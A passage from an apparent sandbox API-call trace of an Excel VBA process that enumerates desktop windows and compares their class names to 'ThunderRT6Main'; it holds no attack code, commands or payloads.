_NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0147.279] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0147.279] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0147.279] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0147.279] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0147.279] IUnknown:Release (This=0x679bb90) returned 0x15 [0147.279] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0147.279] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0147.279] IUnknown:Release (This=0x5a48630) returned 0x12 [0147.279] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0147.279] IUnknown:AddRef (This=0x679c130) returned 0x9 [0147.279] IUnknown:Release (This=0x679c130) returned 0x8 [0147.280] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0147.280] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0147.280] IUnknown:Release (This=0x679c6d0) returned 0x6 [0147.280] GetCurrentThreadId () returned 0xa30 [0147.280] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0147.280] GetDesktopWindow () returned 0x10010 [0147.280] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0147.280] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0147.280] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0147.280] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0147.280] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0147.280] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0147.280] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0147.280] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0147.280] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0147.280] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.280] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.280] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.280] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0147.280] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0147.280] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0147.281] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.281] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0147.281] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.281] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0147.281] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0147.281] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0147.281] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0147.281] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0147.281] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0147.281] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.281] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0147.281] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0147.281] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0147.281] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0147.281] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0147.281] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.281] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0147.281] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0147.281] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.281] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0147.281] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.281] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0147.281] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.281] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0147.281] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0147.281] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0147.281] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0147.281] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0147.281] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0147.281] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0147.281] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0147.281] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.281] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0147.281] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0147.281] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0147.282] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0147.282] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.282] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0147.282] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0147.282] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0147.282] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0147.282] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0147.282] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0147.282] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0147.282] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.282] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0147.282] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0147.282] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0147.282] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0147.282] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0147.282] IsWindowEnabled (hWnd=0x302dc) returned 1 [0147.282] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0147.282] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0147.282] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0147.282] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0147.282] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0147.282] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0147.282] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0147.282] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0147.282] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0147.282] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0147.282] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0147.282] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.282] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0147.282] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0147.282] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0147.282] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0147.282] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.282] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0147.282] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0147.282] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0147.282] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0147.282] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.282] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.282] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.282] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0147.282] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0147.282] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0147.282] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0147.282] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.282] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0147.283] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0147.283] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0147.283] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0147.283] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0147.283] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0147.283] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0147.283] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0147.283] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0147.283] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0147.283] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0147.283] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0147.283] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0147.283] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0147.283] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0147.283] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0147.283] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0147.283] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0147.283] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0147.283] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0147.283] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0147.283] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0147.283] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0147.283] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0147.283] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0147.283] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.283] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0147.283] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0147.283] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0147.283] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0147.283] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.283] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0147.283] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0147.283] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0147.283] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0147.283] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.283] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0147.283] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0147.283] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0147.283] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0147.283] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0147.283] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0147.283] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0147.283] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0147.283] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0147.283] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0147.283] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0147.283] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.283] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0147.283] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0147.283] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0147.284] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0147.284] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0147.284] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0147.284] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0147.284] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0147.284] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.284] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0147.284] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0147.284] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0147.284] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0147.284] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0147.284] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0147.284] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0147.284] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0147.284] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0147.284] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0147.284] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0147.284] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0147.284] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0147.284] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0147.284] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0147.284] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0147.284] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0147.284] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0147.284] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0147.284] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0147.284] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0147.284] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0147.284] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0147.284] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 